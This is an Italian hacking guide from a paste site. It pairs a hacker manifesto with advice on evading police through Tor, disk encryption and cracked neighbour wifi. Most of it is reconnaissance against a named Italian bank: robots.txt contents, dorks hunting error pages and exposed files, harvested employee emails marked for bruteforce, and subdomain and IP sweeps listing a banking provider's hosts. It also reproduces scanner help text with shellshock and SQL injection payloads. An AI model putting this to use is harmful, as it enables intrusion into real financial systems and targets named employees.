· 9 years ago · Oct 25, 2016, 10:32 PM
1
2 / \ # TUTTE LE GUIDE QUI DESCRITTI SONO DA RITENERSI A TITOLO PURAMENTE INFORMATIVO
3 / _ \ # PERCIÒ L'AUTORE, M.m.H.x, DECLINA OGNI RESPONSABILITÀ DALL'USO CHE POTREBBE ESSERNE FATTO.
4 | / \ | # RAGAZZI AVETE LETTO? IO NON MI PRENDO NESSUNA RESPONSABILITÀ QUINDI NON FATE CAZZATE,
5 || || _______ # E SE LI DOVETE FARE FATE IN MODO DI NON ESSERE SCOPERTI OK? :)
6 || || |\ \
7 || || ||\ \
8 || || || \ |
9 || || || \__/
10 || || || || </> Banche Italiane Sicurezza = 0 </>
11 \\_/ \_/ \_// </>By</>
12 / _ _ \ </>#StoCazzo</>
13 / \
14 | O O |
15 | \ ___ / |
16 / \ \_/ / \
17/ ----- | ----- \
18| \__/|\__/ |
19\ |_|_| /
20 \_____ _____/
21 \ /
22 | |
23 T h e H a c k e r's M a n i f e s t o
24
25Noi esploriamo...e ci chiamate criminali. Noi cerchiamo conoscenza...e ci chiamate criminali.
26Noi esistiamo senza colore di pelle, nazionalità , credi religiosi e ci chiamate criminali.
27Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e mentite e cercate di
28farci credere che lo fate per il nostro bene, e poi siamo noi i criminali.
29Si, io sono un criminale. Il mio crimine è la mia curiosità .
30Il mio crimine è quello che i giurati pensano e sanno non quello che guardano.
31Il mio crimine è quello di scovare qualche vostro segreto, qualcosa che non vi farà mai dimenticare il mio nome.
32Io sono un hacker e questo è il mio manifesto.
33Potete anche fermare me, ma non potete fermarci tutti... dopo tutto, siamo tutti uguali (o sbaglio!) :=)
34
35
36
37--<1>-- Introduzione --</1>--
38
39Non sto scrivendo questo per vantarmi ma lo scrivo per aiutarvi ad imparare
40la pratica dell'hacking. L'hacking è molto semplice, (più semplice del sesso, credo :o)
41una volta imparate le basi avrete tra le mani un potere incredibile (scherzo!! :)).
42
43
44--<}-- Sicurezza --</2>--
45
46Questo è illegale, quindi è necessario prendere precauzioni base:
47
48--[0]-- Crittografare il tuo hard disk
49
50Credo che quando arriverà la polizia per sequestrarvi il computer segnifica
51che avete fatto molti errori, ma meglio prevenire che curare.
52
53--[1]-- Utilizzare una macchina virtuale instradando tutto il traffico via Tor
54
55Questo metodo a due scopi precisi. Il primo è quello di renderti anonimo attraverso internet
56invece per quanto riguarda secondo scopo è quello di mantenere
57la vita personale e anonima su diversi computer aiuta non a mescolare le carte ;).
58
59È possibile utilizzare i seguenti sistemi operativi: Whonix [1], Tails [2], Qubes TorVM [3]
60o qualcosa di personalizzato [4]. Qui [5] ci è un confronto dettagliato.
61
62
63--[2]-- La rete del vicino va benessimo :)
64
65Non utilizzare una connessione Internet propria, quella del vicino va benessimo.
66Aircrack[6], reaver[7],...ecc. possono tornare utili.
67
68
69--[3]-- Tor non va sempre bene
70
71Tor non va sempre bene. È possibile correlare le ore che si è connessi
72a Tor con le ore dell'hacker attivo[8]. Ci sono stati anche attacchi di successo contro la rete [8].
73È possibile connettersi alla rete Tor tramite altri wifi. Wifislax [9] è una distribuzione Linux con molti
74strumenti di hacking per le reti wifi. Un'altra opzione è quella di connettersi ad una VPN o brige [10]
75via Tor, ma è meno sicuro, perché ancora si può correlare l'attività di attività di hacker internet
76da casa (questo esempio è stato usato come prova contro Jeremy Hammond [11]).
77
78La realtà è che anche se Tor non è perfetto, funziona piuttosto bene.
79
80--[4]-- Buon senso
81Non menzionare alcuna informazioni sulla tua vita reale quando si parla con gli altri,
82e mai (dico mai) vantarsi delle tue gesta con gli amici, compagni, ...ecc. anche per
83scherzo.
84
85Nota: Usare tor per eventuali scansioni (nmap, nikto e compagna bella) non è proprio il massimo
86in quanto effettuano migliaia di richieste di conseguenza sarà molto molto molto lenta la scansione (per uno scanning di
87un solo target con nmap via tor ci vuole almeno 0.30h fino a 3h :O)
88
89[0] https://securityinabox.org/en/guide/secure-file-storage
90[1] https://www.whonix.org/wiki/Download#Install_Whonix
91[2] https://tails.boum.org/
92[3] https://www.qubes-os.org/doc/privacy/torvm
93[4] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
94[5] https://www.whonix.org/wiki/Comparison_with_Others
95[6] https://www.aircrack-ng.org/
96[7] https://code.google.com/archive/p/reaver-wps/
97[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack
98[9] http://www.wifislax.com/
99[10] https://www.torproject.org/docs/bridges.html.en
100[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
101
102--<3>-- Information Gathering --
103L’information Gathering, ovvero la raccolta di informazioni è sicuramente una delle fasi essenziali ed è importantissima.
104Anche se è molto noioso, questa fase è molto importante, perché più grande è
105la superficie di attacco, il più facile trovare un difetto nel sito, sistema, ..ecc.
106
107Alcuni strumenti e tecniche sono:
108
1091) Google
110Google è il tuo amico, con questo metodo si possono trovare molte cose importanti inaspettate
111È inoltre possibile trovare una breve sintesi in inglese [2].
112Es:
113http://www.sito.com/path/sitemap,robots.txt,....
114
115http://www.bancamodenese.it/it/sitemap.xml
116http://www.bancamodenese.it/crossdomain.xml
117http://www.bancamodenese.it/robots.txt
118
119User-agent: *
120Disallow: /common/
121Disallow: /swfupload/
122Disallow: /images/
123Disallow: /resources/
124Disallow: /exports/
125Disallow: /adm/
126Disallow: /totem/
127Disallow: /totem-tablet/
128Disallow: /exports/
129Disallow: /it/annulla-iscrizione.php
130Disallow: /it/banner_xml.php
131Disallow: /it/invio-mail.inc.php
132Disallow: /it/invio-mail.php
133Disallow: /it/mail-send.php
134Disallow: /it/iscrizione-newsletter.php
135Disallow: /it/missing.php
136Disallow: /it/setStyle.php
137Disallow: /it/iscrizione-newsletter.php
138Disallow: /it/searchResult.php
139Disallow: /it/findomestic.php
140Disallow: /it/carife-video.php
141Disallow: /it/privacy.php
142Disallow: /it/credits.php
143Disallow: /it/sitemap.php
144Disallow: /it/accessibilita.php
145Disallow: /it/lavora_form.php
146Disallow: /it/annulla-iscrizione.php
147Disallow: /userdata/UserFiles/Docs/Bilancio_Carife_2010_rd.pdf
148Disallow: /userdata/UserFiles/Docs/Bilancio_separato_e_consolidato_2012.pdf
149Disallow: /userdata/UserFiles/Docs/Bilancio_2008.pdf
150Disallow: /userdata/UserFiles/Docs/consolidato_gruppoCRF_2006_unico.pdf
151Disallow: /userdata/UserFiles/Docs/bilancio_consolidato_2007_unico.pdf
152Disallow: /userdata/UserFiles/Docs/Semestrale_2008_Gruppo_Carife.pdf
153Disallow: /userdata/UserFiles/Docs/CARIFEbilancio2009.pdf
154Disallow: /userdata/UserFiles/Docs/Semestrale_2009_Gruppo_Carife.pdf
155Disallow: /userdata/UserFiles/Docs/Semestrale_2010_Gruppo_Carife.pdf
156Disallow: /userdata/UserFiles/Docs/Bilancio_semestrale_abbreviato_2012_Gruppo_Carife.pdf
157Disallow: /userdata/UserFiles/Docs/Bilancio_semestrale_abbreviato_2011_Gruppo_Carife.pdf
158Disallow: /userdata/UserFiles/Docs/Bilancio_separato_e_consolidato_2011.pdf
159
160
161Documenti, emailm file, ...ecc possono servire per il social engineering
162site:bancamodenese.it filetype:pdf
163" " filetype:txt
164" " filetype:doc
165
166site:bancamodenese.it "@gmail.com"
167site:bancamodenese.it "@bancamodenese.it"
168" " "@yahoo.it"
169
170Automatizzare il processo:
171
172# theharvester -d bancamodenese.it -b google
173# theharvester -d bancamodenese.it -b bing
174# theharvester -d bancamodenese.it -b linkden
175# theharvester -d bancamodenese.it -b yahoo
176
177*******************************************************************
178* *
179* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
180* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
181* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
182* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
183* *
184* TheHarvester Ver. 2.9 *
185* Coded by Christian Martorella *
186* Edge-Security Research *
187* cmartorella@edge-security.com *
188*******************************************************************
189
190
191[-] Searching in Yahoo..
192 Searching 0 results...
193 Searching 10 results...
194 Searching 20 results...
195 Searching 30 results...
196 Searching 40 results...
197 Searching 50 results...
198 Searching 60 results...
199 Searching 70 results...
200 Searching 80 results...
201 Searching 90 results...
202 Searching 100 results...
203
204
205[+] Emails found:
206------------------
207@bancamodenese.it
208web@bancamodenese.it
209info@bancamodenese.it
210franco.baldini@bancamodenese.it # i nomi sono importanti per un eventuale bruteforce
211leda.bergonzoni@bancamodenese.it # (franco baldini, leda bergonzoni,...)
212
213
214Automatizzare il processo:
215
216# php inurlbr.php --help
217
218 ______
219 .-. .-.
220 / \
221 | [ INURLBR ] |
222 |, .-. .-. ,|
223 | )(|_/ \|_)( |
224 |/ /\ \|
225 _ (_ ^^ _)
226 _\ ____) \_______\__|IIIIII|__/_______________________________
227 (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\
228 / )_/ \ /
229 \ ______ /
230
231 _ _ ______ _ _____
232| | | | ____| | | __ \
233| |__| | |__ | | | |__) |
234| __ | __| | | | ___/
235| | | | |____| |____| |
236|_| |_|______|______|_|
237
238[!]Current script owner=>[ root ]
239[!]Current uname=>[ ]
240[!]Current pwd =>[ ]
241
242 _[ - ]::--------------------------------------------------------------------------------------------------------------
243
244-h
245--help Alternative long length help command.
246--ajuda Command to specify Help.
247--info Information script.
248--update Code update.
249-q Choose which search engine you want through [1...24] / [e1..6]]:
250 [options]:
251 1 - GOOGLE / (CSE) GENERIC RANDOM / API
252 2 - BING
253 3 - YAHOO BR
254 4 - ASK
255 5 - HAO123 BR
256 6 - GOOGLE (API)
257 7 - LYCOS
258 8 - UOL BR
259 9 - YAHOO US
260 10 - SAPO
261 11 - DMOZ
262 12 - GIGABLAST
263 13 - NEVER
264 14 - BAIDU BR
265 15 - YANDEX
266 16 - ZOO
267 17 - HOTBOT
268 18 - ZHONGSOU
269 19 - HKSEARCH
270 20 - EZILION
271 21 - SOGOU
272 22 - DUCK DUCK GO
273 23 - BOOROW
274 24 - GOOGLE(CSE) GENERIC RANDOM
275 ----------------------------------------
276 SPECIAL MOTORS
277 ----------------------------------------
278 e1 - TOR FIND
279 e2 - ELEPHANT
280 e3 - TORSEARCH
281 e4 - WIKILEAKS
282 e5 - OTN
283 e6 - EXPLOITS SHODAN
284 ----------------------------------------
285 all - All search engines / not special motors
286 Default: 1
287 Example: -q {op}
288 Usage: -q 1
289 -q 5
290 Using more than one engine: -q 1,2,5,6,11,24
291 Using all engines: -q all
292
293 --proxy Choose which proxy you want to use through the search engine:
294 Example: --proxy {proxy:port}
295 Usage: --proxy localhost:8118
296 --proxy socks5://googleinurl@localhost:9050
297 --proxy http://admin:12334@172.16.0.90:8080
298
299 --proxy-file Set font file to randomize your proxy to each search engine.
300 Example: --proxy-file {proxys}
301 Usage: --proxy-file proxys_list.txt
302
303 --time-proxy Set the time how often the proxy will be exchanged.
304 Example: --time-proxy {second}
305 Usage: --time-proxy 10
306
307 --proxy-http-file Set file with urls http proxy,
308 are used to bular capch search engines
309 Example: --proxy-http-file {youfilehttp}
310 Usage: --proxy-http-file http_proxys.txt
311
312
313 --tor-random Enables the TOR function, each usage links an unique IP.
314
315 -t Choose the validation type: op 1, 2, 3, 4, 5
316 [options]:
317 1 - The first type uses default errors considering the script:
318 It establishes connection with the exploit through the get method.
319 Demo: www.alvo.com.br/pasta/index.php?id={exploit}
320
321 2 - The second type tries to valid the error defined by: -a='VALUE_INSIDE_THE _TARGET'
322 It also establishes connection with the exploit through the get method
323 Demo: www.alvo.com.br/pasta/index.php?id={exploit}
324
325 3 - The third type combine both first and second types:
326 Then, of course, it also establishes connection with the exploit through the get method
327 Demo: www.target.com.br{exploit}
328 Default: 1
329 Example: -t {op}
330 Usage: -t 1
331
332 4 - The fourth type a validation based on source file and will be enabled scanner standard functions.
333 The source file their values are concatenated with target url.
334 - Set your target with command --target {http://target}
335 - Set your file with command -o {file}
336 Explicative:
337 Source file values:
338 /admin/index.php?id=
339 /pag/index.php?id=
340 /brazil.php?new=
341 Demo:
342 www.target.com.br/admin/index.php?id={exploit}
343 www.target.com.br/pag/index.php?id={exploit}
344 www.target.com.br/brazil.php?new={exploit}
345
346 5 - (FIND PAGE) The fifth type of validation based on the source file,
347 Will be enabled only one validation code 200 on the target server, or if the url submit such code will be considered vulnerable.
348 - Set your target with command --target {http://target}
349 - Set your file with command -o {file}
350 Explicative:
351 Source file values:
352 /admin/admin.php
353 /admin.asp
354 /admin.aspx
355 Demo:
356 www.target.com.br/admin/admin.php
357 www.target.com.br/admin.asp
358 www.target.com.br/admin.aspx
359 Observation: If it shows the code 200 will be separated in the output file
360
361 DEFAULT ERRORS:
362
363 [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK,
364 [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT,
365 [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP,
366 [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP,
367 [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA,
368 [*]ERROR INDEFINITE
369
370
371 --dork Defines which dork the search engine will use.
372 Example: --dork {dork}
373 Usage: --dork 'site:.gov.br inurl:php? id'
374 - Using multiples dorks:
375 Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}
376 Usage: --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'
377
378 --dork-file Set font file with your search dorks.
379 Example: --dork-file {dork_file}
380 Usage: --dork-file 'dorks.txt'
381
382 --exploit-get Defines which exploit will be injected through the GET method to each URL found.
383 Example: --exploit-get {exploit_get}
384 Usage: --exploit-get "?'´%270x27;"
385
386 --exploit-post Defines which exploit will be injected through the POST method to each URL found.
387 Example: --exploit-post {exploit_post}
388 Usage: --exploit-post 'field1=valor1&field2=valor2&field3=?´0x273exploit;&botao=ok'
389
390 --exploit-command Defines which exploit/parameter will be executed in the options: --command-vul/ --command-all.
391 The exploit-command will be identified by the paramaters: --command-vul/ --command-all as _EXPLOIT_
392 Ex --exploit-command '/admin/config.conf' --command-all 'curl -v _TARGET__EXPLOIT_'
393 _TARGET_ is the specified URL/TARGET obtained by the process
394 _EXPLOIT_ is the exploit/parameter defined by the option --exploit-command.
395 Example: --exploit-command {exploit-command}
396 Usage: --exploit-command '/admin/config.conf'
397
398 -a Specify the string that will be used on the search script:
399 Example: -a {string}
400 Usage: -a '<title>hello world</title>'
401
402 -d Specify the script usage op 1, 2, 3, 4, 5.
403 Example: -d {op}
404 Usage: -d 1 /URL of the search engine.
405 -d 2 /Show all the url.
406 -d 3 /Detailed request of every URL.
407 -d 4 /Shows the HTML of every URL.
408 -d 5 /Detailed request of all URLs.
409 -d 6 /Detailed PING - PONG irc.
410
411 -s Specify the output file where it will be saved the vulnerable URLs.
412
413 Example: -s {file}
414 Usage: -s your_file.txt
415
416 -o Manually manage the vulnerable URLs you want to use from a file, without using a search engine.
417 Example: -o {file_where_my_urls_are}
418 Usage: -o tests.txt
419
420 --persist Attempts when Google blocks your search.
421 The script tries to another google host / default = 4
422 Example: --persist {number_attempts}
423 Usage: --persist 7
424
425 --ifredirect Return validation method post REDIRECT_URL
426 Example: --ifredirect {string_validation}
427 Usage: --ifredirect '/admin/painel.php'
428
429 -m Enable the search for emails on the urls specified.
430
431 -u Enables the search for URL lists on the url specified.
432
433 --gc Enable validation of values ​​with google webcache.
434
435 --pr Progressive scan, used to set operators (dorks),
436 makes the search of a dork and valid results, then goes a dork at a time.
437
438 --file-cookie Open cookie file.
439
440 --save-as Save results in a certain place.
441
442 --shellshock Explore shellshock vulnerability by setting a malicious user-agent.
443
444 --popup Run --command all or vuln in a parallel terminal.
445
446 --cms-check Enable simple check if the url / target is using CMS.
447
448 --no-banner Remove the script presentation banner.
449
450 --unique Filter results in unique domains.
451
452 --beep Beep sound when a vulnerability is found.
453
454 --alexa-rank Show alexa positioning in the results.
455
456 --robots Show values file robots.
457
458 --range Set range IP.
459 Example: --range {range_start,rage_end}
460 Usage: --range '172.16.0.5#172.16.0.255'
461
462 --range-rand Set amount of random ips.
463 Example: --range-rand {rand}
464 Usage: --range-rand '50'
465
466 --irc Sending vulnerable to IRC / server channel.
467 Example: --irc {server#channel}
468 Usage: --irc 'irc.rizon.net#inurlbrasil'
469
470 --http-header Set HTTP header.
471 Example: --http-header {youemail}
472 Usage: --http-header 'HTTP/1.1 401 Unauthorized,WWW-Authenticate: Basic realm="Top Secret"'
473
474 --sedmail Sending vulnerable to email.
475 Example: --sedmail {youemail}
476 Usage: --sedmail youemail@inurl.com.br
477
478 --delay Delay between research processes.
479 Example: --delay {second}
480 Usage: --delay 10
481
482 --time-out Timeout to exit the process.
483 Example: --time-out {second}
484 Usage: --time-out 10
485
486 --ifurl Filter URLs based on their argument.
487 Example: --ifurl {ifurl}
488 Usage: --ifurl index.php?id=
489
490 --ifcode Valid results based on your return http code.
491 Example: --ifcode {ifcode}
492 Usage: --ifcode 200
493
494 --ifemail Filter E-mails based on their argument.
495 Example: --ifemail {file_where_my_emails_are}
496 Usage: --ifemail sp.gov.br
497
498 --url-reference Define referring URL in the request to send him against the target.
499 Example: --url-reference {url}
500 Usage: --url-reference http://target.com/admin/user/valid.php
501
502 --mp Limits the number of pages in the search engines.
503 Example: --mp {limit}
504 Usage: --mp 50
505
506 --user-agent Define the user agent used in its request against the target.
507 Example: --user-agent {agent}
508 Usage: --user-agent 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'
509 Usage-exploit / SHELLSHOCK:
510 --user-agent '() { foo;};echo; /bin/bash -c "expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;"'
511 Complete command:
512 php inurlbr.php --dork '_YOU_DORK_' -s shellshock.txt --user-agent '_YOU_AGENT_XPL_SHELLSHOCK' -t 2 -a '99887766555'
513
514 --sall Saves all urls found by the scanner.
515 Example: --sall {file}
516 Usage: --sall your_file.txt
517
518 --command-vul Every vulnerable URL found will execute this command parameters.
519 Example: --command-vul {command}
520 Usage: --command-vul 'nmap sV -p 22,80,21 _TARGET_'
521 --command-vul './exploit.sh _TARGET_ output.txt'
522 --command-vul 'php miniexploit.php -t _TARGET_ -s output.txt'
523
524 --command-all Use this commmand to specify a single command to EVERY URL found.
525 Example: --command-all {command}
526 Usage: --command-all 'nmap sV -p 22,80,21 _TARGET_'
527 --command-all './exploit.sh _TARGET_ output.txt'
528 --command-all 'php miniexploit.php -t _TARGET_ -s output.txt'
529 [!] Observation:
530
531 _TARGET_ will be replaced by the URL/target found, although if the user
532 doesn't input the get, only the domain will be executed.
533
534 _TARGETFULL_ will be replaced by the original URL / target found.
535
536 _TARGETXPL_ will be replaced by the original URL / target found + EXPLOIT --exploit-get.
537
538 _TARGETIP_ return of ip URL / target found.
539
540 _URI_ Back URL set of folders / target found.
541
542 _RANDOM_ Random strings.
543
544 _PORT_ Capture port of the current test, within the --port-scan process.
545
546 _EXPLOIT_ will be replaced by the specified command argument --exploit-command.
547 The exploit-command will be identified by the parameters --command-vul/ --command-all as _EXPLOIT_
548
549 --replace Replace values ​​in the target URL.
550 Example: --replace {value_old[INURL]value_new}
551 Usage: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user,Password+from+mysql.user+limit+0,1)=1'
552 --replace 'main.php?id=[INURL]main.php?id=1+and+substring(@@version,1,1)=1'
553 --replace 'index.aspx?id=[INURL]index.aspx?id=1%27´'
554
555 --remove Remove values ​​in the target URL.
556 Example: --remove {string}
557 Usage: --remove '/admin.php?id=0'
558
559 --regexp Using regular expression to validate his research, the value of the
560 Expression will be sought within the target/URL.
561 Example: --regexp {regular_expression}
562 All Major Credit Cards:
563 Usage: --regexp '(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})'
564
565 IP Addresses:
566 Usage: --regexp '((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))'
567
568 EMAIL:
569 Usage: --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'
570
571
572 ---regexp-filter Using regular expression to filter his research, the value of the
573 Expression will be sought within the target/URL.
574 Example: ---regexp-filter {regular_expression}
575 EMAIL:
576 Usage: ---regexp-filter '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'
577
578
579 [!] Small commands manager:
580
581 --exploit-cad Command register for use within the scanner.
582 Format {TYPE_EXPLOIT}::{EXPLOIT_COMMAND}
583 Example Format: NMAP::nmap -sV _TARGET_
584 Example Format: EXPLOIT1::php xpl.php -t _TARGET_ -s output.txt
585 Usage: --exploit-cad 'NMAP::nmap -sV _TARGET_'
586 Observation: Each registered command is identified by an id of your array.
587 Commands are logged in exploits.conf file.
588
589 --exploit-all-id Execute commands, exploits based on id of use,
590 (all) is run for each target found by the engine.
591 Example: --exploit-all-id {id,id}
592 Usage: --exploit-all-id 1,2,8,22
593
594 --exploit-vul-id Execute commands, exploits based on id of use,
595 (vull) run command only if the target was considered vulnerable.
596 Example: --exploit-vul-id {id,id}
597 Usage: --exploit-vul-id 1,2,8,22
598
599 --exploit-list List all entries command in exploits.conf file.
600
601
602 [!] Running subprocesses:
603
604 --sub-file Subprocess performs an injection
605 strings in URLs found by the engine, via GET or POST.
606 Example: --sub-file {youfile}
607 Usage: --sub-file exploits_get.txt
608
609 --sub-get defines whether the strings coming from
610 --sub-file will be injected via GET.
611 Usage: --sub-get
612
613 --sub-post defines whether the strings coming from
614 --sub-file will be injected via POST.
615 Usage: --sub-get
616
617 --sub-concat Sets string to be concatenated with
618 the target host within the subprocess
619 Example: --sub-concat {string}
620 Usage: --sub-concat '/login.php'
621
622 --sub-cmd-vul Each vulnerable URL found within the sub-process
623 will execute the parameters of this command.
624 Example: --sub-cmd-vul {command}
625 Usage: --sub-cmd-vul 'nmap sV -p 22,80,21 _TARGET_'
626 --sub-cmd-vul './exploit.sh _TARGET_ output.txt'
627 --sub-cmd-vul 'php miniexploit.php -t _TARGET_ -s output.txt'
628
629 --sub-cmd-all Run command to each target found within the sub-process scope.
630 Example: --sub-cmd-all {command}
631 Usage: --sub-cmd-all 'nmap sV -p 22,80,21 _TARGET_'
632 --sub-cmd-all './exploit.sh _TARGET_ output.txt'
633 --sub-cmd-all 'php miniexploit.php -t _TARGET_ -s output.txt'
634
635
636 --port-scan Defines ports that will be validated as open.
637 Example: --port-scan {ports}
638 Usage: --port-scan '22,21,23,3306'
639
640 --port-cmd Define command that runs when finding an open door.
641 Example: --port-cmd {command}
642 Usage: --port-cmd './xpl _TARGETIP_:_PORT_'
643 --port-cmd './xpl _TARGETIP_/file.php?sqli=1'
644
645 --port-write Send values for door.
646 Example: --port-write {'value0','value1','value3'}
647 Usage: --port-write "'NICK nk_test','USER nk_test 8 * :_ola','JOIN #inurlbrasil','PRIVMSG #inurlbrasil : minha_msg'"
648
649
650
651 [!] Modifying values used within script parameters:
652
653 md5 Encrypt values in md5.
654 Example: md5({value})
655 Usage: md5(102030)
656 Usage: --exploit-get 'user?id=md5(102030)'
657
658 base64 Encrypt values in base64.
659 Example: base64({value})
660 Usage: base64(102030)
661 Usage: --exploit-get 'user?id=base64(102030)'
662
663 hex Encrypt values in hex.
664 Example: hex({value})
665 Usage: hex(102030)
666 Usage: --exploit-get 'user?id=hex(102030)'
667
668 hex Generate random values.
669 Example: random({character_counter})
670 Usage: random(8)
671 Usage: --exploit-get 'user?id=random(8)'
672
673
674
675
676# proxychains ./inurlbr.php --target http://www.bancamodenese.it -q 1 --dork 'id=' -s s.txt
677
678 _____ .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. .1BR'''Yp, .8BR'''Cq.
679 (_____) 01 01N. C 01 C 01 .01. 01 01 Yb 01 .01.
680 (() ()) 01 C YCb C 01 C 01 ,C9 01 01 dP 01 ,C9
681 \ / 01 C .CN. C 01 C 0101dC9 01 01'''bg. 0101dC9
682 \ / 01 C .01.C 01 C 01 YC. 01 , 01 .Y 01 YC.
683 /=\ 01 C Y01 YC. ,C 01 .Cb. 01 ,C 01 ,9 01 .Cb.
684 [___] .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C .J0101Cd9 .J01L. .J01./ 2.1
685
686__[ ! ] Neither war between hackers, nor peace for the system.
687__[ ! ] http://blog.inurl.com.br
688__[ ! ] http://fb.com/InurlBrasil
689__[ ! ] http://twitter.com/@googleinurl
690__[ ! ] http://github.com/googleinurl
691__[ ! ] Current PHP version::[ ]
692__[ ! ] Current script owner::[ root ]
693__[ ! ] Current uname::[ ]
694__[ ! ] Current pwd::[ R]
695__[ ! ] Help: php inurlbr.php --help
696------------------------------------------------------------------------------------------------------------------------
697
698[ ! ] Starting SCANNER INURLBR 2.1 at []
699[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
700It is the end user's responsibility to obey all applicable local, state and federal laws.
701Developers assume no liability and are not responsible for any misuse or damage caused by this program
702
703[ INFO ][ DORK ]::[ id= ]
704[ INFO ][ SEARCHING ]:: {
705[ INFO ][ ENGINE ]::[ GOOGLE - www.google.com.br ]
706
707[ INFO ][ SEARCHING ]::......ecc
708
709
710site:bancamodenese.it -site:www.bancamodenese.it
711cache:bancamodenese.it
712site:bancamodenese.it intitle:index.of
713site:bancamodenese.it ".php" file=""
714site:bancamodenese.it ".php" pdf=""
715site:bancamodenese.it ".php" path=""
716site:bancamodenese.it ".php" document=""
717site:bancamodenese.it "Fatal Error"
718site:bancamodenese.it "mysql_"
719site:bancamodenese.it "error"
720site:bancamodenese.it "ERROR"
721site:bancamodenese.it filetype:txt
722site:bancamodenese.it inurl:txt
723site:bancamodenese.it intitle:txt
724site:bancamodenese.it inurl:id=
725
7262) Enumerazione di Sottodomini
727
728Spesso il dominio primario di un'azienda, banca,... è ospitato da un terzo, come
729mx.company.com, ns1.company.com ecc. Inoltre, a volte ci sono cose che non dovrebbero
730essere esposti (password, ftp con login anonimo, nomi utenti,...). Strumenti utili per
731scoprire i domini e sottodomini sono: fierce [3], theHarvester [4] e Recon-ng [5]
732
733Es:
734fierce -dns bancamodenese.it -wordlist /home/admin/Desktop/SecLists/Discovery/DNS/subdomains-top1mil-110000.txt # La lista la potete trovare qui[4]
735Trying zone transfer first...
736
737Unsuccessful in zone transfer (it was worth a shot)
738Okay, trying the good old fashioned way... brute force
739
740Checking for wildcard DNS...
741Nope. Good.
742Now performing 114606 test(s)...
743193.148.38.106 www.bancamodenese.it
744193.148.38.212 mail.bancamodenese.it
745193.148.38.212
746..........etc
747
748
749Scaricare questo tool
750
751wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
752
753gcc ipcrawl.c -o ipcrawl
754
755chmod 777 ipcrawl
756
757./ipcrawl 193.148.38.1 193.148.38.254 #intervalli degli ip del target
758webmon.cedacri.it:193.148.38.24
759sps.servizi.cedacri.it:193.148.38.25
760invita.chiaraassicurazioni.it:193.148.38.64
761invitacoll.chiaraassicurazioni.it:193.148.38.65
762nethb07.cedacri.it:193.148.38.79
763nethb.cedacri.it:193.148.38.80
764www.ripoval.it:193.148.38.84
765www.trentinoriscossioni.it:193.148.38.85
766nethb01.cedacri.it:193.148.38.87
767deploytoken-pr.cedacri.it:193.148.38.88
768www.siferriscossione.it:193.148.38.89
769www.welcomenew.it:193.148.38.90
770nethb03.cedacri.it:193.148.38.91
771nethb04.cedacri.it:193.148.38.92
772nethb05.cedacri.it:193.148.38.93
773netpay.cedacri.it:193.148.38.94
774meetingmgr.cedacri.it:193.148.38.95
775visureprd.ribes.it:193.148.38.97
776www.cedacri.co.uk:193.148.38.101
777mail.iblbanca.it:193.148.38.102
778assioma.cedacri.it:193.148.38.103
779www.certmail.cedacri.it:193.148.38.104
780recruiting029coll.cedacri.it:193.148.38.105
781www.gruppocarife.it:193.148.38.106
782www.cedacri.net:193.148.38.107
783assiomastg.cedacri.it:193.148.38.108
784comin.cedacri.it:193.148.38.109
785sslced.cedacri.it:193.148.38.112
786gtmerchant.cedacri.it:193.148.38.115
787www.revgestionecrediti.com:193.148.38.116
788anywhere1.cedacri.it:193.148.38.119
789ssb.posttrade.cedacri.it:193.148.38.120
790visurecol.ribes.it.ribes.it:193.148.38.121
791i-banking.dolomitidirekt.it:193.148.38.122
792www.postacert.cedacri.it:193.148.38.123
793client.postacert.cedacri.it:193.148.38.124
794pitagora.cedacri.it:193.148.38.126
795reportars.cedacri.it:193.148.38.130
796staging.bancamacerata.it:193.148.38.132
797mail.bpspoleto.it:193.148.38.134
798fcp.cedacri.it:193.148.38.136
799netmi02.cedacri.it:193.148.38.138
800hbbil.cedacri.it:193.148.38.145
801mailcrbz.cedacri.it:193.148.38.149
802hbnetfe.cedacri.it:193.148.38.150
803banche.c-card.it:193.148.38.153
804gps.cedacri.it:193.148.38.154
805reporthd.cedacri.it:193.148.38.155
806www.contocard.it:193.148.38.157
807gtpos.cedacri.it:193.148.38.161
808timestampweb.cedacri.it:193.148.38.163
809timestamp.cedacri.it:193.148.38.164
810activesync.c-card.it:193.148.38.165
811titolari.c-card.it:193.148.38.167
812mx.sparkasse.it:193.148.38.170
813mx1.sparkasse.it:193.148.38.171
814bichi.chiaraassicurazioni.it:193.148.38.172
815cedacrife1.cedacri.it:193.148.38.173
